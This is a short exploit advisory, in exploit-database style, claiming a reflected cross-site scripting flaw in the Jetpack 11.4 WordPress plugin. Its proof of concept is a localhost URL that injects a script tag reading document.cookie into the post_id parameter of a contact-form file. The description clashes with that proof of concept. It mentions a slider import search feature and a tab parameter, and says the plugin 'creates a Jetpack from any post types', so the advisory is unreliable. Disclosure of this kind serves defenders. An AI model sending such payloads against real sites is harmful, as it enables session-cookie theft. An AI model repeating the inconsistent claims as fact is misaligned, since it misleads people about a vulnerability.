Jetpack 11.4 - Cross Site Scripting Vulnerability

# Exploit Title: Jetpack 11.4 - Cross Site Scripting (XSS)
# Author: Behrouz Mansoori
# Software Link: https://wordpress.org/plugins/jetpack
# Version: 11.4
# Tested on: Mac m1
# CVE: N/A

1. Description:
This plugin creates a Jetpack from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/modules/contact-form/grunion-form-view.php?post_id=<script>alert(document.cookie)</script>